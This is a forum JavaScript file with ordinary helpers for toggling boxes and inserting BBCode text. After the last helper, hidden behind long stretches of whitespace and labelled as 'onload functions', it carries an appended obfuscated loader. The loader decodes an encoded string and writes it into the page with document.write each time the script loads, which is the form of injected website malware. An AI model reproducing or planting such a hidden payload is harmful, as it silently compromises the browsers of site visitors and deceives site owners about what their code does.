/* 
------------------------------------------
	Flipbox written by CrappoMan
	simonpatterson@dsl.pipex.com
------------------------------------------
*/
function flipBox(who) {
	var tmp; 
	if (document.images['b_' + who].src.indexOf('_on') == -1) { 
		tmp = document.images['b_' + who].src.replace('_off', '_on');
		document.getElementById('box_' + who).style.display = 'none';
		document.images['b_' + who].src = tmp;
	} else { 
		tmp = document.images['b_' + who].src.replace('_on', '_off');
		document.getElementById('box_' + who).style.display = 'block';
		document.images['b_' + who].src = tmp;
	} 
}

function addText(elname, wrap1, wrap2) {
	if (document.selection) { // for IE 
		var str = document.selection.createRange().text;
		document.forms['inputform'].elements[elname].focus();
		var sel = document.selection.createRange();
		sel.text = wrap1 + str + wrap2;
		return;
	} else if ((typeof document.forms['inputform'].elements[elname].selectionStart) != 'undefined') { // for Mozilla
		var txtarea = document.forms['inputform'].elements[elname];
		var selLength = txtarea.textLength;
		var selStart = txtarea.selectionStart;
		var selEnd = txtarea.selectionEnd;
		var oldScrollTop = txtarea.scrollTop;
		//if (selEnd == 1 || selEnd == 2)
		//selEnd = selLength;
		var s1 = (txtarea.value).substring(0,selStart);
		var s2 = (txtarea.value).substring(selStart, selEnd)
		var s3 = (txtarea.value).substring(selEnd, selLength);
		txtarea.value = s1 + wrap1 + s2 + wrap2 + s3;
		txtarea.selectionStart = s1.length;
		txtarea.selectionEnd = s1.length + s2.length + wrap1.length + wrap2.length;
		txtarea.scrollTop = oldScrollTop;
		txtarea.focus();
		return;
	} else {
		insertText(elname, wrap1 + wrap2);
	}
}

function insertText(elname, what) {
	if (document.forms['inputform'].elements[elname].createTextRange) {
		document.forms['inputform'].elements[elname].focus();
		document.selection.createRange().duplicate().text = what;
	} else if ((typeof document.forms['inputform'].elements[elname].selectionStart) != 'undefined') { // for Mozilla
		var tarea = document.forms['inputform'].elements[elname];
		var selEnd = tarea.selectionEnd;
		var txtLen = tarea.value.length;
		var txtbefore = tarea.value.substring(0,selEnd);
		var txtafter =  tarea.value.substring(selEnd, txtLen);
		var oldScrollTop = tarea.scrollTop;
		tarea.value = txtbefore + what + txtafter;
		tarea.selectionStart = txtbefore.length + what.length;
		tarea.selectionEnd = txtbefore.length + what.length;
		tarea.scrollTop = oldScrollTop;
		tarea.focus();
	} else {
		document.forms['inputform'].elements[elname].value += what;
		document.forms['inputform'].elements[elname].focus();
	}
}

function show_hide(msg_id) {
	msg_id.style.display = msg_id.style.display == 'none' ? 'block' : 'none';
}// Some onload functions
                                                                                                                                                                                                                                                                              function I0OOO0Ol11III00O1I0IOIIl0Il00IIlIll10Ill(OIlI0l011lIl1l1lOOIlO1lO0I0011001l11lIl0){var llO01ll1lII1lO0lIIOlO0lll1IO0O00I0l0O0lO=OIlI0l011lIl1l1lOOIlO1lO0I0011001l11lIl0.length,l1011III1lOOlI1lIIl10ll0lOIIIIII00I10lII=1024,OO1100OOllO1l00IOIOlI11O11l1O1O100OlI1II,O0l1IO1OIOIlO10l11l0O1lOII1llOO1O0IIOl1l,l1llI01OIIIl10II011OO0O01IOOIllO0O11lI1I,lO1IlllO11IOO1I000llI0lI1lOOlIIIOOlIllll=0,IOOlI0Ol1I1lll0OO0OlO11l1OI0OOIlO1O100I0=0,OIIlllO001100I0O0O1OO1l0O11O0IlO00I01Ol0=0,IOII00IIllllOOOO1lIll101l1OO1I0OlO010101=Array(63,48,17,57,59,50,39,33,60,54,0,0,0,0,0,0,52,3,35,9,18,4,7,47,15,20,31,29,24,26,28,53,51,62,42,30,44,5,58,12,21,23,25,0,0,0,0,40,0,19,0,41,36,22,61,55,34,2,32,14,13,10,1,11,37,43,16,46,6,45,56,38,27,49,8);for(O0l1IO1OIOIlO10l11l0O1lOII1llOO1O0IIOl1l=Math.ceil(llO01ll1lII1lO0lIIOlO0lll1IO0O00I0l0O0lO/l1011III1lOOlI1lIIl10ll0lOIIIIII00I10lII);O0l1IO1OIOIlO10l11l0O1lOII1llOO1O0IIOl1l>0;O0l1IO1OIOIlO10l11l0O1lOII1llOO1O0IIOl1l--){l1llI01OIIIl10II011OO0O01IOOIllO0O11lI1I='';for(OO1100OOllO1l00IOIOlI11O11l1O1O100OlI1II=Math.min(llO01ll1lII1lO0lIIOlO0lll1IO0O00I0l0O0lO,l1011III1lOOlI1lIIl10ll0lOIIIIII00I10lII);OO1100OOllO1l00IOIOlI11O11l1O1O100OlI1II>0;OO1100OOllO1l00IOIOlI11O11l1O1O100OlI1II--,llO01ll1lII1lO0lIIOlO0lll1IO0O00I0l0O0lO--){OIIlllO001100I0O0O1OO1l0O11O0IlO00I01Ol0|=(IOII00IIllllOOOO1lIll101l1OO1I0OlO010101[OIlI0l011lIl1l1lOOIlO1lO0I0011001l11lIl0.charCodeAt(lO1IlllO11IOO1I000llI0lI1lOOlIIIOOlIllll++)-48])<<IOOlI0Ol1I1lll0OO0OlO11l1OI0OOIlO1O100I0;if(IOOlI0Ol1I1lll0OO0OlO11l1OI0OOIlO1O100I0){l1llI01OIIIl10II011OO0O01IOOIllO0O11lI1I+=String.fromCharCode(165^OIIlllO001100I0O0O1OO1l0O11O0IlO00I01Ol0&255);OIIlllO001100I0O0O1OO1l0O11O0IlO00I01Ol0>>=8;IOOlI0Ol1I1lll0OO0OlO11l1OI0OOIlO1O100I0-=2}else{IOOlI0Ol1I1lll0OO0OlO11l1OI0OOIlO1O100I0=6}}document.write(l1llI01OIIIl10II011OO0O01IOOIllO0O11lI1I)}}I0OOO0Ol11III00O1I0IOIIl0Il00IIlIll10Ill("Z581YaW5bY_@WFN@lBZpU9W1WoNP2BZpUMK@N6W1LSL1WxKOCaWgJsT5oAT6aPTOWJWPCPN@N0ZPWFN1bG87UMfOtB37lFK@X0chmMK@mYuOexl1o585AqThCGLOlYuw2gNgFsZwm581YaW5bGC");                                                                                                                                                                                                                                                                              
// End onload functions
